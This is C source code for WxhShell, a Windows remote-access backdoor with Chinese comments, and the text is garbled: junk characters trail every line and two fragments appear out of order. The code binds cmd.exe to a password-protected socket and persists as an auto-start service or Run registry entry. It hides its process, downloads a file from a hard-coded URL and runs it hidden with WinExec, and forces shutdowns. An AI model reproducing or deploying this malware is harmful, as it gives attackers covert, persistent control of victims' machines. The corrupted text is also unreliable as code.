    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b0| ;v-v  
    if(Boot(SHUTDOWN)) A||,|He~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hy~+|hLvh  
    else { e0z(l/UB  
    closesocket(wsh); zg>)Lq|VsT  
    ExitThread(0); [C^&iLX/F*  
    } UTS.o#d  
    break; tv 7"4$T  
    } "tF#]iQQ u  
  // 获取shell MBn ZO  
  case 's': { X/BcS[a  
    CmdShell(wsh); , G2( l  
    closesocket(wsh); :9~LYJ ?  
    ExitThread(0); DD fw& y  
    break; 4Q17vCC*n  
  } v$)ZoM6E  
  // 退出 UFzC8  
  case 'x': { = 9!|%j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y/<`C  
    CloseIt(wsh); ,CxIA^  
    break; S&J>15oWM`  
    } wLa8&E[  
  // 离开 up!54}qy  
  case 'q': { 1:;S6{oQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NCa3")k  
    closesocket(wsh); Zg&o][T  
    WSACleanup(); (.pi,+Ws  
    exit(1); &dky_H  
    break; :|a$[g5  
        } k?;@5r)y-  
  } Ws/\ lD  
  } cd._q2  
7e:eL5f>~  
  // 提示信息 z7_h$v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q2Dh(  
} ><xJQeW  
  } *X /i<  
yu}yON  
  return; y>>)Yo&|  
} F4]=(T  
f=A`{ 8^  
// shell模块句柄 0uu)0:  
int CmdShell(SOCKET sock) BG8`B'i  
{ 0at['zw  
STARTUPINFO si; Z+Cjg #+  
ZeroMemory(&si,sizeof(si)); W3gHz T?{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qVssw* GDB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HX{K5+  
PROCESS_INFORMATION ProcessInfo; ye-[l7  
char cmdline[]="cmd"; a+^,EY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fTt\@" V  
  return 0; [jR >.H'  
} to;^'#B  
22/"0=2g  
// 自身启动模式 =I0J1Ob  
int StartFromService(void) hmB`+?,z*  
{ XS$#\UQ  
typedef struct lnGg1/  
{ 7+;.Q  
  DWORD ExitStatus; lNz1|nS(Kd  
  DWORD PebBaseAddress; 5<M$ XT  
  DWORD AffinityMask; GX=U6n>  
  DWORD BasePriority; 3hVuC1;"  
  ULONG UniqueProcessId; ZnBGNr  
  ULONG InheritedFromUniqueProcessId; WRrg5&._q  
}   PROCESS_BASIC_INFORMATION; =zTpDL  
07]9VJa  
PROCNTQSIP NtQueryInformationProcess; U|<>xe*|%  
FX!Qd&kl1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jn%Etz-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y@SI)&D  
J+T tM>  
  HANDLE             hProcess; l.(|&U~  
  PROCESS_BASIC_INFORMATION pbi; 'w=aLu5dY  
m/q`k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DyCkz"1S  
  if(NULL == hInst ) return 0; dsOt(yNo  
Jp c %i8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %f?Zg44  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [{>3"XJ'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T7-yZSw -m  
s@E) =;!  
  if (!NtQueryInformationProcess) return 0; lavy?tFer  
At'M? Q@v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w}s5=>QG%  
  if(!hProcess) return 0; &?TXsxf1Zh  
mi1^hl'2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7j HrLsB  
%<r}V<OeR  
  CloseHandle(hProcess); fQ1Dp  
b|*+!v:I>T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $inKI  
if(hProcess==NULL) return 0; HCx0'|J  
omznSL  
HMODULE hMod; 7VskZbj\  
char procName[255]; ?a*w6,y.  
unsigned long cbNeeded; ;mg.} fI  
[e_<UF@A*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )L7[;(gQ  
*>HS>#S  
  CloseHandle(hProcess); $Ld-lQsL  
9g# 62oIg  
if(strstr(procName,"services")) return 1; // 以服务启动 (N/-blto  
FS!9 j8  
  return 0; // 注册表启动 zqURnsJ  
} <FAbImE}  
{NcJL< ;tS  
// 主模块 L,!\PV|  
int StartWxhshell(LPSTR lpCmdLine) qu!x#OY+  
{ 7HQL^Q  
  SOCKET wsl; 66sgs16k  
BOOL val=TRUE; b4EUr SL  
  int port=0; =M9R~J!  
  struct sockaddr_in door; 8k)*f+1o  
SL`; `//  
  if(wscfg.ws_autoins) Install(); Q&lb]U+\u  
!vVW8hbp  
port=atoi(lpCmdLine); G(wstHT;/  
j}K 3YfH  
if(port<=0) port=wscfg.ws_port; I2pE}6q  
/reGT!u  
  WSADATA data; \){_\{&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i3KAJ@  
w`r %_o-I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [O}D^qp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v~W ;&{  
  door.sin_family = AF_INET; <%W&xk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); st~ l||  
  door.sin_port = htons(port); iQ1[60?)T  
`:R9M+ OX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZsCwNZR  
closesocket(wsl); H|,d`@U  
return 1; DZLEx{cm  
} 8e ?9:VM]  
b|may/xWH  
  if(listen(wsl,2) == INVALID_SOCKET) { Tr4\ `a-i  
closesocket(wsl); Cs,Cb2[  
return 1; qsN_EMgbdn  
} ydRS\l  
  Wxhshell(wsl); \VI0/G)L  
  WSACleanup(); *a0#PfS[  
}6 u)wF5  
return 0; ?)-anoFyVW  
]/3!t=La  
} j9w{=( MV  
d_f*'M2Gv  
// 以NT服务方式启动 PI9aKNt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;9-J=@KY4  
{ qlg.\H:W~  
DWORD   status = 0; nB[B FVkU  
  DWORD   specificError = 0xfffffff; beT[7uVj_  
w@YPG{"j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ACFEM9 [=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 33a}M;vx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xF YHv@g  
  serviceStatus.dwWin32ExitCode     = 0; 7Up-a^k^`  
  serviceStatus.dwServiceSpecificExitCode = 0; m]'+Eye ]r  
  serviceStatus.dwCheckPoint       = 0; 6/p9ag]  
  serviceStatus.dwWaitHint       = 0; KV'3\`v@LY  
9"L!A,&'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^vzXT>t-M  
  if (hServiceStatusHandle==0) return; Y{@foIZ  
muBl~6_mb2  
status = GetLastError(); VP?Q$?a  
  if (status!=NO_ERROR) &$#NV@  
{ <]#_&Na  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <h<_''+  
    serviceStatus.dwCheckPoint       = 0; EpCNp FQT<  
    serviceStatus.dwWaitHint       = 0; h CV(O2jL  
    serviceStatus.dwWin32ExitCode     = status; 31%3&B:Ts  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5-'Z.[ImB?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YluvWHWi  
    return; m1tc="j  
  } .Rb1%1bdc  
@kba^z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qjf4G[]!  
  serviceStatus.dwCheckPoint       = 0; .\)ek[?  
  serviceStatus.dwWaitHint       = 0; nn">   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Iu;VFa  
} _?bF;R  
a +9_sUq  
// 处理NT服务事件,比如:启动、停止 K!-iDaVI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JiXN"s^mcb  
{ tqKX\N=5^  
switch(fdwControl) bQu@.'O!k  
{ 9om}j  
case SERVICE_CONTROL_STOP: I=YZ!*f/`  
  serviceStatus.dwWin32ExitCode = 0; "Gq%^^ *  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5fp&!HnG  
  serviceStatus.dwCheckPoint   = 0; fnFI w=d  
  serviceStatus.dwWaitHint     = 0; k4"O} jQO  
  { ! ;Ctz'wz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H~0B5Hl!F  
  } >k~3W> D  
  return; _w%{yF6   
case SERVICE_CONTROL_PAUSE: j<w5xY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RTL@WI  
  break; """eU,"  
case SERVICE_CONTROL_CONTINUE: i[vOpg]J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8ROZ]Xh,x  
  break; 'puiahA  
case SERVICE_CONTROL_INTERROGATE: U/\LOIs  
  break; Y}r UVn  
}; U {9yfy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ovvg"/>L  
} 4L&Rs;  
8Tp!b %2.  
// 标准应用程序主函数 D}nRH@<`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^F|/\i   
{ <bh!wf6;  
ey U*20  
// 获取操作系统版本 OX{2@+f#  
OsIsNt=GetOsVer(); ]%h|ox0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *1U"uJno  
3lefB A7  
  // 从命令行安装 -Vjrh/@  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6>Is-/hsy  
|'Ksy{lA  
  // 下载执行文件 7KV0g1GQ  
if(wscfg.ws_downexe) { H+VjY MvK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )'$'?Fn  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;0O>$|kg  
} %I%OHs  
'w`9lIax  
if(!OsIsNt) { XchVsA  
// 如果时win9x,隐藏进程并且设置为注册表启动 aq.Lnbi/X  
HideProc(); ;PWx#v+vwF  
StartWxhshell(lpCmdLine); A04E <nr  
} &MP +  
else tP|ox]  
  if(StartFromService()) ,V ) |A=ml  
  // 以服务方式启动 - ]U2G:  
  StartServiceCtrlDispatcher(DispatchTable); R9^R G-x  
else b|u0a6  
  // 普通方式启动 s )7sgP  
  StartWxhshell(lpCmdLine); Kq zQLu  
Kbqx)E$iL  
return 0; k'-5&Q  
} &z;1Z  
8'0I$Qa4  
O|Y~^:ny  
Aiqn6BX{  
=========================================== JnXVI!+JDL  
3KN})*1  
y"Jma`Vjq  
}\ hz@G<  
'\/|K  
eBg:[4 4V  
" :Wd@Qy?;  
tZ_D.syBAc  
#include <stdio.h> 9=p/'d8  
#include <string.h> |HA1.Y=  
#include <windows.h> &4jc3_UKV  
#include <winsock2.h> L IRdWGQ4  
#include <winsvc.h> xA]}/*  
#include <urlmon.h> 2~)r,.,  
ExZ|_7^<  
#pragma comment (lib, "Ws2_32.lib") i6$q1*  
#pragma comment (lib, "urlmon.lib") m53~Ysq<  
XywsjeI4  
#define MAX_USER   100 // 最大客户端连接数 T<K/bzB3z  
#define BUF_SOCK   200 // sock buffer y}GFtRNG  
#define KEY_BUFF   255 // 输入 buffer L_Lhmtm}m  
4LkW`Sbm  
#define REBOOT     0   // 重启 o ^Ro 54i  
#define SHUTDOWN   1   // 关机 )6:1`&6  
cOvdC4  
#define DEF_PORT   5000 // 监听端口 }^zsN`  
tDn:B$*}W,  
#define REG_LEN     16   // 注册表键长度 I7Xm~w!{qk  
#define SVC_LEN     80   // NT服务名长度 (KnU-E]L  
GVld]ioycG  
// 从dll定义API #-8%g{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  -wQ@z6R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (svKq(X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qcGsx2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '))K' u  
Fb\ E39  
// wxhshell配置信息 0Q!/A5z  
struct WSCFG { .0?A0D?sP  
  int ws_port;         // 监听端口 );=0cnr3  
  char ws_passstr[REG_LEN]; // 口令 .njk^,N  
  int ws_autoins;       // 安装标记, 1=yes 0=no -SUK [<=X  
  char ws_regname[REG_LEN]; // 注册表键名 a9g~(#?a  
  char ws_svcname[REG_LEN]; // 服务名 yz^4TqJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XNQPyZ2@|b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c)4L3W-x=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U%rq(`;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no - `{T?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e3,@prr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =2e{T J/  
tui5?\  
}; Hb3t|<z  
: 22)` ;0  
// default Wxhshell configuration S9%ZeM +  
struct WSCFG wscfg={DEF_PORT, qFN`pe,  
    "xuhuanlingzhe", TW-^C ;  
    1, 9xaieR  
    "Wxhshell",  xq&r|el  
    "Wxhshell", X"g`hT"i  
            "WxhShell Service", U3~rtc*  
    "Wrsky Windows CmdShell Service", Hq#q4Y  
    "Please Input Your Password: ", zx7A}rs3oX  
  1, SA%uGkm:e  
  "http://www.wrsky.com/wxhshell.exe", 5O[\gd-  
  "Wxhshell.exe" ko ~D;M:  
    }; =HjC.h  
oc;4;A-;`c  
// 消息定义模块 u4h.\ul8%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nr?CZFN#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y2[ik<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jw0I$W/  
char *msg_ws_ext="\n\rExit."; ^ddC a  
char *msg_ws_end="\n\rQuit."; z&yVU<;  
char *msg_ws_boot="\n\rReboot..."; lC@wCgc  
char *msg_ws_poff="\n\rShutdown..."; q\xsXM  
char *msg_ws_down="\n\rSave to "; 2=7:6Fw  
U#:N/ts*(  
char *msg_ws_err="\n\rErr!"; %OOy90b2  
char *msg_ws_ok="\n\rOK!"; d)GR]^=r  
o:`^1  
char ExeFile[MAX_PATH]; # J^ >7v  
int nUser = 0; 8>`8p0I$+  
HANDLE handles[MAX_USER]; Pq1j  
int OsIsNt; )j!%`g  
Q w)U  
SERVICE_STATUS       serviceStatus; ^O<@I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e5(c,,/  
iUq_vQ@} }  
// 函数声明 Vi#[k n'  
int Install(void); cZ3A~dTOR  
int Uninstall(void); WO$8j2!~#  
int DownloadFile(char *sURL, SOCKET wsh); 9M-W 1prb  
int Boot(int flag); f9t+x+ Z  
void HideProc(void); eoJ*?v  
int GetOsVer(void); ^UBzX;|p  
int Wxhshell(SOCKET wsl); !LCy:>i!d  
void TalkWithClient(void *cs); 5 %+epzy  
int CmdShell(SOCKET sock); pm2]  
int StartFromService(void); ? M.'YB2  
int StartWxhshell(LPSTR lpCmdLine); uK0L>  
mR$0Ij/v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,YRBYK:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y.kc,~vYL  
WR_B:%W.  
// 数据结构和表定义 bl{W{?QI  
SERVICE_TABLE_ENTRY DispatchTable[] = rNICK2Ah  
{ &~'i,v|E  
{wscfg.ws_svcname, NTServiceMain}, `Om W#\  
{NULL, NULL} ?;A\>sP  
}; V P(JV  
Ym6v4k!@O  
// 自我安装 7Rd(,eWE@  
int Install(void) `JyI`@,!  
{ 8:2Vib$  
  char svExeFile[MAX_PATH]; eN`G2eE  
  HKEY key; PP]7_h^ 2  
  strcpy(svExeFile,ExeFile); {asq[;]  
"whs?^/  
// 如果是win9x系统,修改注册表设为自启动 dh1 N/[  
if(!OsIsNt) { kOC0d,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GyV uQ51  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +pQ3bX  
  RegCloseKey(key); ) )t]5Ys%;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f1 XM_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); - Rx;"J.H  
  RegCloseKey(key); O\6gw$  
  return 0; }PM7CZSq  
    } mQ9shdvt-  
  } bf.yA:~U  
} 24wr=5p]Q  
else { S,Q(,e^&  
]f}(i D  
// 如果是NT以上系统,安装为系统服务 = J]M#6N0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B ]sVlbt  
if (schSCManager!=0) wFjQ1<s=  
{ / %iS\R%ca  
  SC_HANDLE schService = CreateService -9Ygn_M  
  ( mHa~c(x  
  schSCManager,  Sr_hD5!  
  wscfg.ws_svcname, ZE1${QFkG  
  wscfg.ws_svcdisp, b5ul|p  
  SERVICE_ALL_ACCESS, KTwP.!<v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U#<{RqY  
  SERVICE_AUTO_START,  kq([c r  
  SERVICE_ERROR_NORMAL, [ $"  
  svExeFile, d[nz0LI|mk  
  NULL, |C5{[ z  
  NULL, 2fNNdxdbT  
  NULL, Zv* uUe  
  NULL, B\qy:nr j  
  NULL =W>a~e]/  
  ); vsQvJDna~  
  if (schService!=0) o 9(x\g  
  { @\M^Zuo  
  CloseServiceHandle(schService); ZI8@ 6L\  
  CloseServiceHandle(schSCManager); .u`A4;;Gw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J6ed  
  strcat(svExeFile,wscfg.ws_svcname); p["pGsf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }5}>B *  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (ak&>pk;  
  RegCloseKey(key); [xQ.qZ[h&  
  return 0; 4ElS_u^cP7  
    } F+j"bhe  
  } de[NIDA;`  
  CloseServiceHandle(schSCManager); c%&*yR  
} )@!T_#  
} 8dJ+Ei~M  
`B,R+==G:  
return 1; gvL*]U7  
} $BG]is,&5  
{xTh!ih2 -  
// 自我卸载 ~:|V,1  
int Uninstall(void) cIK4sOTJ&  
{ FMzG6nrdBN  
  HKEY key; NzN"_ojM  
~-uDN)  
if(!OsIsNt) { Q]/{6:C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JNP6qM  
  RegDeleteValue(key,wscfg.ws_regname); I1s$\NZ~]  
  RegCloseKey(key); k![H;}W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I :bT"N  
  RegDeleteValue(key,wscfg.ws_regname); dP>FXgY  
  RegCloseKey(key); S@y?E}  
  return 0; 8-cuaa  
  } F(^#_tXP  
} Eb CK9  
} _::ssnG3jT  
else { QjYw^[o  
VN$7r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zZey  
if (schSCManager!=0) 4Y4zBD=<  
{ Ug4o2n0sk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ub+XgNO  
  if (schService!=0) ZCMH?>  
  { tZFpxyF  
  if(DeleteService(schService)!=0) { Y]5MM:mI  
  CloseServiceHandle(schService); WLta{A?  
  CloseServiceHandle(schSCManager); %|>D{q6C  
  return 0; Y^;izM}  
  } $Zkk14  
  CloseServiceHandle(schService); rhly.f7N=A  
  } {+3g*s/HI  
  CloseServiceHandle(schSCManager); eZ0-O /_i  
} ![J_6 f}!  
} >+>N/`BG  
j *;.>akY7  
return 1; 5g$>J)Ry  
} Q}a(vlZ  
9`? M-U  
// 从指定url下载文件 ;d_<6|*M  
int DownloadFile(char *sURL, SOCKET wsh) ~[~#PO  
{ yNU}1_oK  
  HRESULT hr; @ `mke4>_  
char seps[]= "/"; VUz+ _)  
char *token; \w(0k^<7  
char *file; /Ei e5p  
char myURL[MAX_PATH]; BQ70<m2D$  
char myFILE[MAX_PATH]; 3preBs#i  
NzeiGj  
strcpy(myURL,sURL); SZ7; } r8  
  token=strtok(myURL,seps); fL]jk1.Xv-  
  while(token!=NULL) iun_z$I<+Z  
  {  !$!%era`  
    file=token; KGI <G  
  token=strtok(NULL,seps); ]D=fvvST  
  } >J_ P[v  
ra_v+HR7  
GetCurrentDirectory(MAX_PATH,myFILE); _={mKKoHs  
strcat(myFILE, "\\"); OPogH=vf  
strcat(myFILE, file); B ?y[ %i  
  send(wsh,myFILE,strlen(myFILE),0); ugTnz$  
send(wsh,"...",3,0); EQ|Wke  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >&F:/   
  if(hr==S_OK) ;cp||uO  
return 0; DZEq(>mn  
else up0=Y o@  
return 1; gFfKK`)}D'  
Fdq5:v?k  
} =A$d)&  
h'_$I4e)  
// 系统电源模块 `VDvxl@1  
int Boot(int flag) FT-=^VA\  
{ .C ,dV7  
  HANDLE hToken; R\/tKZJjb  
  TOKEN_PRIVILEGES tkp; ZA@zs,o%  
Y4X`(\A  
  if(OsIsNt) { nQa:t. rC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s'IB{lJ9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9jNh%raG|  
    tkp.PrivilegeCount = 1; eIN0 T;1T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [qk c6sqo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >RpMw!NT  
if(flag==REBOOT) { TgJ6O,0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aYWUwYB$  
  return 0; -C!m#"PDW  
} iU3PlF[B/o  
else { V-X Ty iv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kVG+Wr7l0F  
  return 0; pZt>rv  
} }"v#_vJfz7  
  } nHp$5|r<  
  else { Re'3bs:+  
if(flag==REBOOT) { S1C#5=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A0v@L6m-O  
  return 0; Ap|g[J  
} |)*!&\Ch  
else { _?$w8 S%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cjd-B:l  
  return 0; ZjrBOb  
} `G:hC5B  
} B+pLW/4l  
mC?}:W M@  
return 1; &!HG.7AY  
} +~M.Vs X  
$Q,]2/o6n  
// win9x进程隐藏模块 6KPjZC<  
void HideProc(void) 7;] IlR6  
{ wnQi5P+  
zN-Y=-c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lE8_Q*ev  
  if ( hKernel != NULL ) IMpL+W.  
  { .SOCWznb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T]b&[?p|a[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g9d/nR X&  
    FreeLibrary(hKernel); !<b+7 A  
  } .SSPJY(  
9[`\ZGWD  
return; ]g,j  
} u^x<xw6f  
47A[-&y*X  
// 获取操作系统版本  J&+"  
int GetOsVer(void) 'RNj5r  
{ fWDTP|DV  
  OSVERSIONINFO winfo; Gvr>n@n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V|{~9^  
  GetVersionEx(&winfo); :X7O4?ww  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GSH,;cY  
  return 1; v`:!$U* H=  
  else 6Yqqq[#V/  
  return 0; Z 8GIZ  
} (dV7N  
%0 U@k!lP  
// 客户端句柄模块 F:.8O ,%u  
int Wxhshell(SOCKET wsl) FEBRUk6.h  
{ HPo><u  
  SOCKET wsh; >km$zfM2-  
  struct sockaddr_in client; |]-~yYqP3  
  DWORD myID; )]m4FC:  
<N=ow"rD  
  while(nUser<MAX_USER) (+u&b< <6N  
{ 6QPT  
  int nSize=sizeof(client); M[_Ptqjb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \Z~ <jv  
  if(wsh==INVALID_SOCKET) return 1; : >$v@d  
zXwdU5 8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eV0eMDY5  
if(handles[nUser]==0) ";n%^I}  
  closesocket(wsh); gDX\ p>7  
else YC*`n3D|'  
  nUser++; ER4#5gd  
  } SF[Z]|0gs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Fg2/rC:_  
%fh-x(4v  
  return 0; i2LN`5k  
} fRzJiM{  
V<KjKa+sG  
// 关闭 socket ^vOEG;TR<-  
void CloseIt(SOCKET wsh) &kH7_Lz  
{ ksYPF&l  
closesocket(wsh); H;FzWcm  
nUser--; Yg1HvSw\  
ExitThread(0); 4@M}5WJ7  
} (W9 K: ]}  
BbzIQg:  
// 客户端请求句柄 Jp~[Dm  
void TalkWithClient(void *cs) 4%u\dTg/B  
{ /j\.~=,_  
gO]8hLT  
  SOCKET wsh=(SOCKET)cs; >vuR:4B  
  char pwd[SVC_LEN]; Q:Y`^jP   
  char cmd[KEY_BUFF]; !zfV (&  
char chr[1]; ;9uDV -"  
int i,j; 48 mTL+*  
~jC$C2A0  
  while (nUser < MAX_USER) { }jNVR#D:  
\T;(k?28HN  
if(wscfg.ws_passstr) { }&EdA;/o_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TZObjSm_v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 36 ]?4, .  
  //ZeroMemory(pwd,KEY_BUFF); y*I,i*iv  
      i=0; @^b>S6d "  
  while(i<SVC_LEN) { ,B,0o*qc{K  
Z$K[e  
  // 设置超时 F[0w*i&u5  
  fd_set FdRead; \Iz-<:gA'  
  struct timeval TimeOut; 8oJp_sw  
  FD_ZERO(&FdRead); /J&_ZDNV~  
  FD_SET(wsh,&FdRead); LlbE]_Z!U%  
  TimeOut.tv_sec=8; iUf?MDE  
  TimeOut.tv_usec=0; 0-Wv$o[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,{#Li  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); er>@- F7w  
XC,by&nY<y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m =MM  
  pwd=chr[0]; AD"L>7  
  if(chr[0]==0xd || chr[0]==0xa) { +`.,6TNVlY  
  pwd=0; Z7dVy8J  
  break; hDTM\>.c;s  
  } FW"gj\  
  i++; Odbm"Y  
    } {Ytqs(`   
)`<7qT_BM  
  // 如果是非法用户,关闭 socket PE2O$:b\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2S-z$Bi}]  
} 8s6^!e&  
$_ k:{?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b|g=&T:pp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2?c%<_jPA  
3x E^EXV  
while(1) { +Pb@@C&  
8?$XT  
  ZeroMemory(cmd,KEY_BUFF); -W)8Z.  
<f@ A\  
      // 自动支持客户端 telnet标准   #80r?,q  
  j=0; lAPPn g`  
  while(j<KEY_BUFF) { c4FU@^Vv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e1 P(-V  
  cmd[j]=chr[0]; >2LlBLQ  
  if(chr[0]==0xa || chr[0]==0xd) { +(##B pC  
  cmd[j]=0; WizVw&Iv  
  break; !FbW3p f  
  } b@)nB  
  j++; *!yY7 ~#  
    } 1IZTo!xi  
M K, $#  
  // 下载文件 4XArpKA  
  if(strstr(cmd,"http://")) { hbTJXP~~?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Z at|R.F  
  if(DownloadFile(cmd,wsh)) 4>te>[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^%m~VLH  
  else .Wvg{ S -  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eilo;-El  
